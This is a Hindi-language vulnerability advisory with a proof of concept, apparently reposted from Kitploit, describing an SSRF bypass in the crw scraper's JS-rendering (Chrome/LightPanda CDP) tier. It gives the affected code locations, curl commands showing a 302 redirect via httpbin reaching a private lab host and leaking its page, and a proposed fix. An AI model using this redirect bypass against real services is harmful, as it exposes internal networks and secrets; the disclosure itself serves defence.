crw-PoC — PoC — crw में URL सुरक्षा फ़िल्टर के JS-रेंडरिंग टियर बायपास के माध्यम से SSRF (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5)। | Kitploit

crates/crw-server/src/routes/scrape.rs:29-34 (समान रूप से crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25 में) — JS-रेंडर किए गए अनुरोध के लिए पूरे अनुरोध जीवनचक्र में एकमात्र SSRF जाँच: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) कॉलर के शाब्दिक url के विरुद्ध एक बार चलती है, रेंडरर के कभी आह्वान से पहले।
crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner का work फ्यूचर Page.navigate को कच्चे url के साथ सीधे CDP एंडपॉइंट पर भेजता है (जो chrome और lightpanda दोनों टियर द्वारा साझा किया जाता है — दोनों इसी फ़ंक्शन के माध्यम से CDP बोलते हैं)। Chrome/LightPanda फिर अपना स्वयं का DNS रिज़ॉल्यूशन करता है और किसी भी सर्वर-साइड रीडायरेक्ट, <meta http-equiv="refresh">, या JS location परिवर्तन का आंतरिक रूप से अनुसरण करता है। cdp.rs में कहीं भी url_safety में कोई कॉल मौजूद नहीं है।
crates/crw-renderer/src/blocklist.rs:1-124 — CDP रेंडर के दौरान चलने वाला एकमात्र प्रति-अनुरोध Fetch.requestPaused इंटरसेप्शन लॉजिक (जो cdp.rs में लगभग पंक्तियों 930-1002 के आसपास वायर किया गया है)। यह केवल बैंडविड्थ/शोर कारणों से विज्ञापन/ट्रैकर होस्ट और अवरुद्ध संसाधन प्रकारों (छवियाँ, फ़ॉन्ट, आदि) को फ़िल्टर करता है — यह कभी भी किसी अनुरोध के गंतव्य को निजी/loopback/link-local रेंज के विरुद्ध नहीं जाँचता।
crates/crw-crawl/src/single.rs:559-569 — एकमात्र स्थान जहाँ नेविगेशन के बाद के final_url की बिल्कुल भी जाँच की जाती है। redirect_is_material() केवल यह तय करता है कि data.warnings में एक कॉस्मेटिक "redirected_to: <url>" स्ट्रिंग संलग्न करनी है या नहीं (यह इंगित करने के लिए कि "आपको गलत पृष्ठ मिला," northernair.ca का संदर्भ देने वाली टिप्पणी के अनुसार) — यह कभी भी url_safety::validate_safe_url* को कॉल नहीं करता और कभी भी अनुरोध को विफल नहीं करता।
इसके विपरीत: crates/crw-renderer/src/http_only.rs:291 — सादा-HTTP (गैर-JS) टियर अपने reqwest::Client को सही ढंग से crw_core::url_safety::safe_redirect_policy() में लपेटता है, जो प्रत्येक रीडायरेक्ट हॉप को (DNS रिज़ॉल्यूशन के साथ) पुनः-सत्यापित करता है। यह ठीक वही सुरक्षा है जो CDP टियर से अनुपस्थित है। गतिशील रूप से पुष्टि की गई: renderJs:false के साथ वही PoC अनुरोध सही ढंग से अस्वीकार किया जाता है ("error following redirect", बेसलाइन स्क्रीनशॉट देखें)।

crw/chrome/lightpanda के समान Docker ब्रिज नेटवर्क (docker network: source_default) पर एक "आंतरिक सेवा" स्टैंड-इन खड़ा किया, निजी पते 172.19.0.6 पर — एक सादा nginx कंटेनर जो यथार्थवादी आंतरिक-दिखने वाली सामग्री वाला पृष्ठ परोसता है (शीर्षक "Internal Ops Console", एक सत्र-टोकन-आकार का मान)।

बेसलाइन — पुष्टि करें कि फ़िल्टर सामान्य रूप से काम करता है:

curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}

curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}

(स्क्रीनशॉट: evidence/ssrf_baseline_blocked.png)

बायपास — वही रीडायरेक्ट, JS-रेंडरिंग टियर का अनुरोध:
```
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
  -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
```
परिणाम: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — आंतरिक सर्वर की सामग्री कॉलर को लौटा दी जाती है; टूल की स्वयं की redirected_to चेतावनी दिखाती है कि यह जानता है कि उसने अवरुद्ध पते पर अनुरोध का अनुसरण किया और फिर भी सामग्री लौटाता है। (स्क्रीनशॉट: evidence/ssrf_chrome_tier_bypass.png)
पुष्टि की गई कि बायपास डिफ़ॉल्ट फ़ॉलबैक चेन पर भी सक्रिय होता है, बिना किसी स्पष्ट रेंडरर पिन के ("renderJs":true अकेले — जिस सामान्य तरीके से कॉलर JS रेंडरिंग का अनुरोध करता है): लैडर ने lightpanda चुना ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") और वही आंतरिक सामग्री लौटाई, जो सिद्ध करता है कि दोनों CDP टियर (केवल chrome नहीं) इस अंतराल को साझा करते हैं।

CDP टियर में पहले से वायर किया गया Fetch.requestPaused इंटरसेप्शन पंप (crates/crw-renderer/src/cdp.rs, जो blocklist.rs में Blocklist द्वारा संचालित है) स्वाभाविक चोक पॉइंट है: इसे विस्तारित करें (या उसी पंप से आह्वान किया गया एक सहोदर जाँच जोड़ें, दोनों chrome और lightpanda बैकएंड के लिए) ताकि प्रत्येक इंटरसेप्ट किए गए अनुरोध के URL के विरुद्ध crw_core::url_safety::validate_safe_url को कॉल किया जाए — जो प्रारंभिक नेविगेशन, प्रत्येक रीडायरेक्ट हॉप, प्रत्येक JS-संचालित नेविगेशन, और प्रत्येक समान-पृष्ठ XHR/fetch/iframe लोड को कवर करता है — और जो कुछ भी अवरुद्ध होस्ट पर रिज़ॉल्व होता है उसके लिए Fetch.failRequest करें, जो उससे मेल खाता है जो safe_redirect_policy() पहले से http_only टियर के लिए करता है। ध्यान दें कि इसका अर्थ है कि Fetch.enable/इंटरसेप्शन अब सशर्त रूप से बंद नहीं रह सकता जब SSRF सुरक्षा इसके चलने पर निर्भर हो। रक्षा की गहराई के रूप में, crates/crw-crawl/src/single.rs:559-569 में मौजूदा नेविगेशन-पश्चात final_url जाँच को भी एक कॉस्मेटिक warnings प्रविष्टि से url_safety::validate_safe_url_resolved के माध्यम से एक कठोर विफलता में बदलें, ताकि जो कुछ भी इंटरसेप्शन से बच जाए (उदा. एक बहुत पहली प्रतिक्रिया जो Fetch.enable की सेटअप से आगे निकल जाती है) उसे पकड़ा जा सके।

शोधकर्ता	Dostxodjayev Abdullox (@squeeze440)
सलाह	GHSA-5jp3-339h-vxqw
CVSS 3.1	7.5 (उच्च)
कमज़ोरी	CWE-918

crw-PoC

सबसे लोकप्रिय

crw: सुरक्षा सलाह